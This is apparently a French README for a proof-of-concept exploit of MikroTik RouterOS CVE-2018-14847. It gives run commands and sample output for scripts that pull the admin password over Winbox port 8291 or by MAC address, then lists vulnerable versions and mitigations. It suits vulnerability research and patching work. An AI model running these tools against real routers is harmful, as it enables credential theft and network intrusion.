Exploit de connexion Mikrotik

PoC (Proof of Concept) de la vulnérabilité mikrotik CVE-2018-14847 (principalement sur winbox), qui permet de lire le mot de passe directement depuis RouterOS sur le port par défaut 8291.

Original par : https://github.com/BigNerd95/

Prérequis

• Python 3+

Installation sur Linux

apt install python3

Exemple d'utilisation

WinBox (TCP/IP)

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

ex :

$ python3 WinboxExploit.py 192.168.1.1
Connected to 192.168.1.1:8291
Exploit successful
User: admin
Pass: oppaidaisuki123

Utilisation de l'adresse MAC

Vous pouvez utiliser ce script même sans adresse IP.

Utilisez MACServerDiscovery.py pour scanner le routeur.

python3 MACServerDiscover.py

ex :

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploitation :

python3 MACServerExploit.py <MAC-ADDRESS>

ex :

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: oppaidaisuki123

Versions vulnérables

RouterOS versions du 2015-05-28 au 2018-04-20

Versions RouterOS :

• Longterm : 6.30.1 - 6.40.7
• Stable : 6.29 - 6.42
• Beta : 6.29rc1 - 6.43rc3

Informations complètes : https://blog.mikrotik.com/security/winbox-vulnerability.html

Prévention de l'exploit

• Mettez à niveau RouterOS vers 6.42+
• Désactivez Winbox
• Bloquez le service :

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• Règles de filtrage (ACL), bloquez le port 8291 :

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• Limitez l'accès à la connexion Winbox par adresse MAC :

/tool mac-server mac-winbox